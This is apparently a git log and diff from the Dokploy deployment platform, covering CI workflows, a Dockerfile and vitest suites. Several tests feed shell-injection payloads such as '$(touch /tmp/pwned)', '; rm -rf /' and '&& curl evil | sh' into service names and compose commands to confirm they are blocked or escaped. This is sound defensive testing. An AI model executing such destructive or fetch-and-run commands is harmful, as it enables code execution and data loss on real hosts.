Mauricio Siu 35c30a1210 test: assert domain payload never parses as a shell operator (drop literal check)
quote() legitimately wraps the payload text inside single quotes, so the raw
substring is present but inert. leaksShellSyntax (via shell-quote parse) is the
correct assertion; the literal not.toContain check was wrong.
2026-07-20 16:07:11 -06:00
Mauricio Siu a83b2026f6 fix(security): escape compose domain error message to prevent command injection
writeDomainsToCompose returns a shell fragment that is executed as part of the
compose build script. On error it interpolated error.message (which embeds the
user-controlled serviceName/host) directly into an echo, so a serviceName like
$(cmd) executed as root. Escape the message with quote().
2026-07-20 16:01:47 -06:00
Mauricio Siu 7ca96f6087 fix(editor): consistent YAML auto-indent on newline
The indentNodeProp from @codemirror/lang-yaml computes column-based
indents that produce inconsistent and odd-numbered indentation when
pressing Enter (e.g. 9 spaces after a nested 'web:' line, 6 after a
4-space 'image:' line). Override it with a line-based indentService:
keep the current line's indent, align list-entry keys after the dash
marker, and indent one unit deeper after lines opening a block
(':', '|', '>').

Fixes #4650
2026-07-14 11:57:12 -06:00
autofix-ci[bot] c9817da45b [autofix.ci] apply automated fixes 2026-07-14 17:37:53 +00:00
Mauricio Siu faf600bd88 fix(logs): don't classify explicit non-error key/values as error
Lines like 'failed: false, error: none' (e.g. ofelia job summaries for
successful runs) were rendered red because the error patterns matched
the key regardless of its value. Strip key/value pairs whose value
explicitly reports a non-error before running the error keyword
patterns.

Fixes #4538
2026-07-14 11:37:21 -06:00
techdawnarea 012d9596b2 MariaDB svg color updated: in Dark theme its not visible properly 2026-07-14 00:24:00 +05:30
Mauricio Siu a376b00a71 Merge pull request #4813 from Dokploy/canary
🚀 Release v0.29.12
2026-07-13 04:35:14 -06:00
PixelPerfector e19dd43293 fix(notifications): use real server name in remote threshold alerts
Server CPU/Memory threshold notifications for remote servers always
showed "Server Name: Remote" instead of the actual server name, making
it impossible to tell which server triggered the alert when more than
one remote server is registered.

The remote branch of receiveNotification already fetches the matching
server row (looked up by its metrics token) but discarded it, hardcoding
ServerName to the literal "Remote". Use the fetched row's name instead,
falling back to "Remote" if it is somehow absent.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-10 17:51:34 +03:00
Yash Kumar 92c5879438 style(ui): cleaned up class placement
Co-Authored-By: Fredy Acuna <57413945+fredhii@users.noreply.github.com>
2026-07-09 22:48:33 +05:30
Yash Kumar a94f8b96d3 fix(ui): vertically align enable submodules and improve watchpath button a11y
- Properly negate FormItem spacing for the 'Enable Submodules' toggle inline layout
- Drop redundant focus outline hide and add aria-label for watchpath delete buttons

Co-authored-by: Fredy Acuña <fredhiixd@gmail.com>
2026-07-09 22:14:06 +05:30
Yash Kumar ae95485b74 fix(ui): structurally resolve unclickable watch path badges 2026-07-09 16:59:25 +05:30
Mauricio Siu 1ca03d3dc2 Merge pull request #4767 from Dokploy/canary
🚀 Release v0.29.11
2026-07-09 03:00:31 -06:00
Antigravity AI 2df02f596a fix(webhook): include added and removed files in watchPaths validation
Currently, Dokploy only extracts modified files from webhook payloads.
This causes watchPaths to fail matching commits that only add or remove files (such as adding new routes or deleting files), preventing auto-deployments.

This commit updates the commit parsing logic to aggregate added, modified, and removed files.
2026-07-09 00:06:10 +03:00
Mauricio Siu 1da4db2905 Merge pull request #4746 from Dokploy/canary
🚀 Release v0.29.10
2026-07-06 03:43:48 -06:00
Mauricio Siu b3feeed3e4 Merge pull request #4734 from Dokploy/canary
🚀 Release v0.29.9
2026-07-05 23:52:29 -06:00
fcsouza dc2fc40c38 fix(logs): respect log level explicitly declared by structured loggers 2026-06-12 10:37:15 -03:00
Raushan Kumar Thakur 7da96810a8 fix: invalidate railpack build cache when env changes 2026-06-06 22:47:48 +05:30
autofix-ci[bot] b90279c26a [autofix.ci] apply automated fixes 2026-04-26 04:55:41 +00:00
Guillaume LECOMTE 689ae51ee7 fix(ui): remove early return to render theme-aware favicon immediately
The previous implementation returned null when config was not yet loaded,
preventing the theme-aware favicon from rendering during initial page load.

Now uses optional chaining (config?.metaTitle, config?.customCss) throughout
so the <link rel="icon"> always renders with the correct theme-aware favicon
regardless of config loading state.

Fixes P1 issue from code review.
2026-04-14 12:16:57 +02:00
Guillaume LECOMTE 9be96d4195 fix(ui): update favicon dynamically based on app theme
Add icon-light.svg and icon-dark.svg with fixed fills (black/white)
instead of relying on CSS prefers-color-scheme media query.

Update WhitelabelingProvider to use useTheme() and switch favicon
based on resolvedTheme (dark/light/unknown).

When custom faviconUrl is set, it takes precedence.

Closes #4100.
2026-04-14 11:58:21 +02:00
Daniel Abramov f21931da60 fix: add unzip to arch server set up 2026-04-08 18:29:29 +02:00
rpoetrap e802342f57 fix sequential awaits 2026-04-07 17:04:38 +07:00
Rizki Putra 3e11897762 fix: return a valid docker host for docker desktop 2026-04-07 11:14:57 +07:00
Gabriel Vinhaes eb80f79862 fix: preserve server schedule failures through tee pipeline 2026-04-01 16:37:56 -03:00
Yandi 43f9f545c6 fix: use lazy initializer for useState with function calls
Calling getTerminalKey() and getDefaultDateRange() directly in useState
re-runs them on every render. Wrap in an arrow function so they execute
only once during component initialization.
2026-02-22 20:34:38 +07:00
283 changed files with 74823 additions and 1151 deletions
+5 -1
View File
@@ -2,4 +2,8 @@ node_modules
.git
.gitignore
*.md
dist
dist
**/.next
**/dist
**/dist-server
**/.env
+27 -13
View File
@@ -140,6 +140,7 @@ jobs:
runs-on: ubuntu-latest
outputs:
version: ${{ steps.get_version.outputs.version }}
npm_version: ${{ steps.get_version.outputs.npm_version }}
steps:
- name: Checkout
uses: actions/checkout@v4
@@ -151,6 +152,7 @@ jobs:
run: |
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
echo "version=$VERSION" >> $GITHUB_OUTPUT
echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT
- name: Fetch install.sh
run: |
@@ -164,6 +166,7 @@ jobs:
uses: softprops/action-gh-release@v2
with:
tag_name: ${{ steps.get_version.outputs.version }}
target_commitish: ${{ github.sha }}
name: ${{ steps.get_version.outputs.version }}
generate_release_notes: true
draft: false
@@ -180,71 +183,82 @@ jobs:
- name: Checkout
uses: actions/checkout@v4
- uses: pnpm/action-setup@v4
with:
version: 10.22.0
- uses: actions/setup-node@v4
with:
node-version: 24.4.0
cache: pnpm
- name: Generate OpenAPI specification
run: |
pnpm install --frozen-lockfile
pnpm generate:openapi
- name: Sync version to MCP repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
cd /tmp/mcp-repo
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
npm install -g pnpm
cp ${{ github.workspace }}/openapi.json src/generated/openapi.json
pnpm install
pnpm run fetch-openapi
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.version }}"
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
- name: Sync version to CLI repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
cd /tmp/cli-repo
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
npm install -g pnpm
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.version }}"
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
- name: Sync version to SDK repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
cd /tmp/sdk-repo
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
npm install -g pnpm
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.version }}"
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
+36
View File
@@ -0,0 +1,36 @@
name: Hotfix Cherry-Pick
on:
pull_request_target:
types: [closed, labeled]
concurrency:
group: hotfix-to-main
cancel-in-progress: false
jobs:
cherry-pick:
if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix')
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- name: Checkout main
uses: actions/checkout@v4
with:
ref: main
fetch-depth: 0
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
- name: Cherry-pick fix to main
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
SHA="${{ github.event.pull_request.merge_commit_sha }}"
if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
git cherry-pick -x -m 1 "$SHA"
else
git cherry-pick -x "$SHA"
fi
git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
git push origin main
+28
View File
@@ -0,0 +1,28 @@
name: Hotfix Release
on:
workflow_dispatch:
concurrency:
group: hotfix-to-main
cancel-in-progress: false
jobs:
release:
runs-on: ubuntu-latest
steps:
- name: Checkout main
uses: actions/checkout@v4
with:
ref: main
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
- name: Bump patch version and push
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
CURRENT=$(node -p "require('./apps/dokploy/package.json').version")
NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}')
sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json
git commit -am "chore: release ${NEW}"
git push origin main
+5 -1
View File
@@ -46,4 +46,8 @@ yarn-error.log*
.db
.playwright-*
.credentials
.credentials
dist/
dist-server/
.tanstack
.env.*
+54
View File
@@ -0,0 +1,54 @@
# syntax=docker/dockerfile:1
FROM node:24.4.0-slim AS base
ENV PNPM_HOME="/pnpm"
ENV PATH="$PNPM_HOME:$PATH"
RUN corepack enable
RUN corepack prepare pnpm@10.22.0 --activate
FROM base AS build
COPY . /usr/src/app
WORKDIR /usr/src/app
RUN apt-get update && apt-get install -y python3 make g++ git pkg-config libsecret-1-dev && rm -rf /var/lib/apt/lists/*
RUN --mount=type=cache,id=pnpm,target=/pnpm/store pnpm install --no-frozen-lockfile
ENV NODE_ENV=production
RUN pnpm --filter=dokploy-vite build
RUN pnpm --filter=dokploy-vite build:server
RUN pnpm --filter=dokploy-vite --prod deploy --legacy /prod/vite
# Drop auto-installed optional peers that are never used at runtime
# (better-auth peers next/prisma adapters; drizzle peers pglite/sqlite; prisma pulls effect/sharp)
RUN cd /prod/vite/node_modules && rm -rf \
.pnpm/next@* .pnpm/@next+swc* \
.pnpm/prisma@* .pnpm/@prisma+* \
.pnpm/effect@* .pnpm/@electric-sql+* \
.pnpm/better-sqlite3@* \
.pnpm/sharp@* .pnpm/@img+* \
.pnpm/typescript@* \
next prisma typescript better-sqlite3 sharp
FROM base AS runtime
WORKDIR /app
ENV NODE_ENV=production
RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/*
# For a full production replacement of the official image, add the same
# tooling block as ./Dockerfile (docker cli, nixpacks, railpack, pack, rclone)
# — required for builds/deployments, not for serving the panel.
COPY --from=build /prod/vite/node_modules ./node_modules
COPY --from=build /prod/vite/package.json ./package.json
COPY --from=build /usr/src/app/apps/vite/dist ./dist
COPY --from=build /usr/src/app/apps/vite/dist-server ./dist-server
COPY --from=build /usr/src/app/apps/dokploy/drizzle ./drizzle
EXPOSE 3000
HEALTHCHECK --interval=30s --timeout=5s --start-period=30s --retries=5 \
CMD curl -fs http://localhost:3000/api/health || exit 1
CMD ["sh", "-c", "node dist-server/wait-for-postgres.mjs && node dist-server/migration.mjs && exec node dist-server/server.mjs"]
@@ -0,0 +1,57 @@
import { execSync } from "node:child_process";
import {
getRestoreCommand,
stripDatabaseSwitchCommand,
} from "@dokploy/server/utils/restore/utils";
import { describe, expect, it } from "vitest";
const filter = (input: string) =>
execSync(stripDatabaseSwitchCommand, {
input,
shell: "/bin/bash",
}).toString();
describe("restore drops database-switch statements (mysql/mariadb)", () => {
const dump = [
"-- MariaDB dump",
"CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;",
"USE `production_db`;",
"use production_db;",
"DROP TABLE IF EXISTS `users`;",
"CREATE TABLE `users` (`id` int NOT NULL);",
"INSERT INTO `users` VALUES (1),(2);",
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
].join("\n");
it("removes USE and CREATE DATABASE lines but keeps everything else", () => {
const result = filter(dump);
expect(result).not.toContain("USE `production_db`");
expect(result).not.toContain("use production_db");
expect(result).not.toContain("CREATE DATABASE /*!32312");
expect(result).toContain("DROP TABLE IF EXISTS `users`;");
expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);");
expect(result).toContain("INSERT INTO `users` VALUES (1),(2);");
expect(result).toContain(
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
);
});
it("is wired into mysql and mariadb restore pipelines only", () => {
const base = {
appName: "my-app",
restoreType: "database" as const,
credentials: {
database: "dev_db",
databaseUser: "u",
databasePassword: "p",
},
rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip",
};
for (const type of ["mysql", "mariadb"] as const) {
const cmd = getRestoreCommand({ ...base, type });
expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`);
}
const pgCmd = getRestoreCommand({ ...base, type: "postgres" });
expect(pgCmd).not.toContain(stripDatabaseSwitchCommand);
});
});
@@ -28,7 +28,7 @@ const runsSafely = (command: string) => {
const PAYLOADS = [
`$(touch ${MARK})`,
"`touch " + MARK + "`",
`\`touch ${MARK}\``,
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
@@ -101,4 +101,69 @@ describe("compose createCommand injection", () => {
"deploy/docker-compose.prod.yml",
);
});
it("allows chained docker compose commands with '&&'", () => {
const cmd = createCommand({
...base,
command:
"compose pull && docker compose down && docker compose up -d --build",
} as any);
expect(cmd).toBe(
"compose pull && docker compose down && docker compose up -d --build",
);
});
it("allows chaining with the legacy 'docker-compose' spelling", () => {
const cmd = createCommand({
...base,
command: "compose pull && docker-compose down",
} as any);
expect(cmd).toBe("compose pull && docker-compose down");
});
it("rejects a single '&' used for backgrounding", () => {
expect(() =>
createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
).toThrow(/Single '&' is not allowed/);
});
it("rejects a malformed '&&&' chain", () => {
expect(() =>
createCommand({
...base,
command: "compose pull &&& docker compose up -d",
} as any),
).toThrow(/Single '&' is not allowed/);
});
it("rejects chained segments that are not docker compose invocations", () => {
expect(() =>
createCommand({
...base,
command: "compose pull && rm -rf /",
} as any),
).toThrow(/must strictly start with 'docker compose '/);
});
it("rejects an attempted injection smuggled inside a chained segment", () => {
for (const bad of [
"compose pull && docker compose up -d; touch /tmp/pwn",
"compose pull && docker compose up -d $(touch /tmp/pwn)",
"compose pull && docker compose up -d `touch /tmp/pwn`",
"compose pull && docker compose up -d | touch /tmp/pwn",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("rejects a chain that only pretends to start with docker compose later in the string", () => {
expect(() =>
createCommand({
...base,
command: "compose pull && curl evil.sh | docker compose up -d",
} as any),
).toThrow(/Invalid characters/);
});
});
@@ -0,0 +1,68 @@
import { parse } from "shell-quote";
import { describe, expect, it, vi } from "vitest";
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
// "exists" but does not contain the attacker's service, forcing the error path
// whose message embeds the user-controlled serviceName.
vi.mock("node:fs", async (importOriginal) => {
const actual = await importOriginal<typeof import("node:fs")>();
return {
...actual,
existsSync: () => true,
readFileSync: () => "services:\n web:\n image: nginx\n",
};
});
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
const baseCompose = {
appName: "my-app",
serverId: null,
composeType: "docker-compose",
sourceType: "raw",
composePath: "docker-compose.yml",
isolatedDeployment: false,
randomize: false,
suffix: "",
} as any;
const makeDomain = (serviceName: string) =>
({
host: "example.com",
serviceName,
https: false,
uniqueConfigKey: 1,
port: 3000,
}) as any;
// If the returned shell fragment is safe, parse() yields only string tokens.
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
const leaksShellSyntax = (command: string, marker: string) =>
parse(command).some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
it("does not let a malicious serviceName inject shell operators", async () => {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain("$(touch /tmp/pwned)"),
]);
// The service does not exist in the compose, so we hit the error branch.
expect(result).toContain("Has occurred an error");
// The payload text may appear inside the single-quoted echo argument, but
// it must never parse as a shell operator ($(), backtick, ; …).
expect(leaksShellSyntax(result, "touch")).toBe(false);
});
it("neutralizes backtick and semicolon payloads too", async () => {
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain(`svc${payload}`),
]);
expect(leaksShellSyntax(result, "rm")).toBe(false);
expect(leaksShellSyntax(result, "curl")).toBe(false);
expect(leaksShellSyntax(result, "id")).toBe(false);
}
});
});
@@ -0,0 +1,96 @@
import { execFileSync } from "node:child_process";
import { mkdirSync, rmSync, writeFileSync } from "node:fs";
import { join } from "node:path";
import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
import { afterEach, describe, expect, it } from "vitest";
// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 —
// values must survive Docker Compose's own `.env` parsing, not just base64 decode.
const appName = `env-file-literals-${process.pid}`;
const projectPath = join(process.cwd(), ".docker", "compose", appName);
const codePath = join(projectPath, "code");
afterEach(() => {
try {
execFileSync("docker", ["compose", "down", "--remove-orphans"], {
cwd: codePath,
stdio: "ignore",
});
} catch {
// Project may not have been created (e.g. an earlier assertion failed).
}
rmSync(projectPath, { force: true, recursive: true });
});
const cases: Record<string, string> = {
PASSWORD: "pa$$word",
SPECIAL: '!"#$%&/()=?',
NESTED_JSON: '{"nested":{"a":1}}',
MAIL_PASSWORD: "abc#de",
TRAILING_BACKSLASH: "trailing\\",
QUOTE_INSIDE: 'she said "hi"',
APOSTROPHE: "it's a test",
UNICODE: "héllo wörld 日本語 🚀",
MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
};
// How each value must be typed in the UI so the (unchanged) dotenv input
// parser resolves it to the raw string in `cases` above.
const inputEncoding: Record<string, string> = {
PASSWORD: "pa$$word",
SPECIAL: `'!"#$%&/()=?'`,
NESTED_JSON: '{"nested":{"a":1}}',
MAIL_PASSWORD: `"abc#de"`,
TRAILING_BACKSLASH: "trailing\\",
QUOTE_INSIDE: 'she said "hi"',
APOSTROPHE: "it's a test",
UNICODE: "héllo wörld 日本語 🚀",
MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
};
describe("getCreateEnvFileCommand", () => {
it("writes special environment values that Docker Compose reads back literally", () => {
mkdirSync(codePath, { recursive: true });
const serviceEnv = Object.entries(inputEncoding)
.map(([key, value]) => `${key}=${value}`)
.join("\n");
const command = getCreateEnvFileCommand({
appName,
composePath: "docker-compose.yml",
env: serviceEnv,
randomize: false,
suffix: "",
serverId: null,
environment: { project: { env: "" }, env: "" },
} as Parameters<typeof getCreateEnvFileCommand>[0]);
execFileSync("bash", ["-c", command]);
const composeFile = `services:\n test:\n image: busybox\n environment:\n${Object.keys(
cases,
)
.map((key) => ` - ${key}=\${${key}}`)
.join("\n")}\n`;
writeFileSync(join(codePath, "docker-compose.yml"), composeFile);
const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`;
const out = execFileSync(
"docker",
["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript],
{ cwd: codePath, encoding: "utf8" },
);
const parts = out.split("\0");
const actual: Record<string, string> = {};
for (let i = 0; i < parts.length - 1; i += 2) {
actual[parts[i] as string] = parts[i + 1] as string;
}
for (const [key, value] of Object.entries(cases)) {
expect(actual[key], key).toBe(value);
}
}, 60000);
});
@@ -0,0 +1,45 @@
import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
import { describe, expect, it, vi } from "vitest";
// Compose now has a `createEnvFile` toggle (default true), mirroring the
// Application builder's flag: when disabled, Dokploy never writes `.env`,
// so a repo-tracked file survives untouched.
vi.mock("@dokploy/server/utils/docker/domain", () => ({
writeDomainsToCompose: vi.fn().mockResolvedValue(""),
}));
const baseCompose = {
appName: "env-file-toggle",
sourceType: "raw",
command: "",
composePath: "docker-compose.yml",
composeType: "docker-compose",
isolatedDeployment: false,
randomize: false,
suffix: "",
serverId: null,
env: "FOO=bar",
mounts: [],
domains: [],
environment: { project: { env: "" }, env: "" },
} as unknown as Parameters<typeof getBuildComposeCommand>[0];
describe("getBuildComposeCommand createEnvFile toggle", () => {
it("createEnvFile: false never writes the .env file", async () => {
const command = await getBuildComposeCommand({
...baseCompose,
createEnvFile: false,
});
expect(command).not.toContain("base64 -d >");
});
it("createEnvFile: true (default) writes Dokploy's vars", async () => {
const command = await getBuildComposeCommand({
...baseCompose,
createEnvFile: true,
});
expect(command).toContain("base64 -d >");
});
});
@@ -0,0 +1,43 @@
import { execFileSync } from "node:child_process";
import { mkdirSync, readFileSync, rmSync } from "node:fs";
import { join } from "node:path";
import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils";
import { parse } from "dotenv";
import { afterEach, describe, expect, it } from "vitest";
// Unlike compose's .env, this one is read by the app's own build tooling
// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped.
const appName = `env-file-literals-dockerfile-${process.pid}`;
const projectPath = join(process.cwd(), ".docker", "compose", appName);
const codePath = join(projectPath, "code");
const dockerFilePath = join(codePath, "Dockerfile");
afterEach(() => rmSync(projectPath, { force: true, recursive: true }));
const cases: Record<string, string> = {
PASSWORD: "pa$$word",
NESTED_JSON: '{"nested":{"a":1}}',
QUOTE_INSIDE: 'she said "hi"',
BACKSLASH: "back\\slash",
UNICODE: "héllo wörld 日本語 🚀",
};
describe("createEnvFileCommand", () => {
it("writes special environment values that a generic dotenv parser reads back literally", () => {
mkdirSync(codePath, { recursive: true });
const serviceEnv = Object.entries(cases)
.map(([key, value]) => `${key}=${value}`)
.join("\n");
const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", "");
execFileSync("bash", ["-c", command]);
const written = readFileSync(join(codePath, ".env"), "utf8");
const parsed = parse(written);
for (const [key, value] of Object.entries(cases)) {
expect(parsed[key], key).toBe(value);
}
});
});
@@ -0,0 +1,104 @@
import type { ApplicationNested } from "@dokploy/server/utils/builders";
import { getRailpackCommand } from "@dokploy/server/utils/builders/railpack";
import { describe, expect, it } from "vitest";
const createApplication = (
overrides: Partial<ApplicationNested> = {},
): ApplicationNested =>
({
appName: "test-app",
buildType: "railpack",
sourceType: "git",
buildPath: "/",
railpackVersion: "0.15.4",
env: "TEST_VAR=one",
cleanCache: false,
environment: {
project: {
env: "",
},
env: "",
},
...overrides,
}) as unknown as ApplicationNested;
const getSecretsHash = (command: string) => {
const match = command.match(/secrets-hash=([a-f0-9]{64})/);
if (!match?.[1]) {
throw new Error("secrets-hash build arg was not found");
}
return match[1];
};
describe("getRailpackCommand", () => {
it("includes secrets-hash without clean cache", () => {
const command = getRailpackCommand(createApplication());
expect(command).toContain("--build-arg secrets-hash=");
expect(command).not.toContain("cache-key=");
});
it("includes cache-key only when clean cache is enabled", () => {
const command = getRailpackCommand(
createApplication({
cleanCache: true,
}),
);
expect(command).toContain("--build-arg secrets-hash=");
expect(command).toContain("--build-arg cache-key=");
});
it("changes secrets-hash when an environment value changes", () => {
const firstCommand = getRailpackCommand(
createApplication({
env: "TEST_VAR=one",
}),
);
const secondCommand = getRailpackCommand(
createApplication({
env: "TEST_VAR=two",
}),
);
expect(getSecretsHash(firstCommand)).not.toEqual(
getSecretsHash(secondCommand),
);
});
it("changes secrets-hash when referenced project or environment values change", () => {
const firstCommand = getRailpackCommand(
createApplication({
env: [
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
].join("\n"),
environment: {
project: {
env: "SHARED_VALUE=one",
},
env: "SHARED_VALUE=alpha",
},
} as Partial<ApplicationNested>),
);
const secondCommand = getRailpackCommand(
createApplication({
env: [
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
].join("\n"),
environment: {
project: {
env: "SHARED_VALUE=two",
},
env: "SHARED_VALUE=beta",
},
} as Partial<ApplicationNested>),
);
expect(getSecretsHash(firstCommand)).not.toEqual(
getSecretsHash(secondCommand),
);
});
});
+108
View File
@@ -0,0 +1,108 @@
import { prepareEnvironmentVariables } from "@dokploy/server/index";
import { describe, expect, it } from "vitest";
const projectEnv = `
ENVIRONMENT=staging
DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db
`;
const environmentEnv = `
NODE_ENV=production
POSTGRES_HOST=postgres.internal
POSTGRES_PORT=5432
REDIS_URL=redis://redis.internal:6379
`;
const serviceEnv = `
NODE_ENV=\${{environment.NODE_ENV}}
REDIS_URL=\${{environment.REDIS_URL}}
PORT=3000
`;
/**
* A rollback replays the snapshot stored in `rollbacks.fullContext`, which keeps
* the service env, the environment env and the project env captured at deploy time.
*/
const fullContext = {
env: serviceEnv,
environment: {
env: environmentEnv,
project: {
env: projectEnv,
},
},
};
describe("prepareEnvironmentVariables for application rollback", () => {
it("resolves environment variables from the rollback snapshot", () => {
const result = prepareEnvironmentVariables(
fullContext.env,
fullContext.environment.project.env,
fullContext.environment.env,
);
expect(result).toEqual([
"NODE_ENV=production",
"REDIS_URL=redis://redis.internal:6379",
"PORT=3000",
]);
});
it("resolves project and environment variables together on rollback", () => {
const rollbackEnv = `
DATABASE_URL=\${{project.DATABASE_URL}}
POSTGRES_URL=postgres://\${{environment.POSTGRES_HOST}}:\${{environment.POSTGRES_PORT}}/app
ENVIRONMENT=\${{project.ENVIRONMENT}}
`;
const result = prepareEnvironmentVariables(
rollbackEnv,
projectEnv,
environmentEnv,
);
expect(result).toEqual([
"DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db",
"POSTGRES_URL=postgres://postgres.internal:5432/app",
"ENVIRONMENT=staging",
]);
});
it("throws when the environment env of the snapshot is not passed", () => {
expect(() =>
prepareEnvironmentVariables(fullContext.env, projectEnv),
).toThrow("Invalid environment variable: environment.NODE_ENV");
});
it("maintains precedence: service > environment > project on rollback", () => {
const conflictingProjectEnv = `
NODE_ENV=project
API_URL=https://project.api.com
`;
const conflictingEnvironmentEnv = `
NODE_ENV=environment
API_URL=https://environment.api.com
`;
const rollbackEnv = `
NODE_ENV=service
PROJECT_API_URL=\${{project.API_URL}}
ENVIRONMENT_API_URL=\${{environment.API_URL}}
SELF_REFERENCE=\${{NODE_ENV}}
`;
const result = prepareEnvironmentVariables(
rollbackEnv,
conflictingProjectEnv,
conflictingEnvironmentEnv,
);
expect(result).toEqual([
"NODE_ENV=service",
"PROJECT_API_URL=https://project.api.com",
"ENVIRONMENT_API_URL=https://environment.api.com",
"SELF_REFERENCE=service",
]);
});
});
+442
View File
@@ -0,0 +1,442 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const findMany = vi.fn();
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
vaultProvider: {
findMany: (...args: unknown[]) => findMany(...args),
},
},
},
}));
import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils";
import {
resolveVaultReferences,
withResolvedVaultRefs,
} from "@dokploy/server/utils/vault";
import { azureClient } from "@dokploy/server/utils/vault/azure";
import { dopplerClient } from "@dokploy/server/utils/vault/doppler";
import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp";
const mockFetch = vi.fn();
global.fetch = mockFetch as typeof fetch;
const jsonResponse = (body: unknown, ok = true, status = 200) =>
({
ok,
status,
json: async () => body,
}) as Response;
beforeEach(() => {
findMany.mockReset();
mockFetch.mockReset();
});
const scope = {
organizationId: "org-1",
projectId: "proj-1",
environmentId: "env-1",
};
const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }];
describe("resolveVaultReferences", () => {
it("returns input untouched and skips the db when no refs are present", async () => {
const env = "FOO=bar\nBAZ=${{project.QUX}}";
const result = await resolveVaultReferences(env, scope);
expect(result).toBe(env);
expect(findMany).not.toHaveBeenCalled();
});
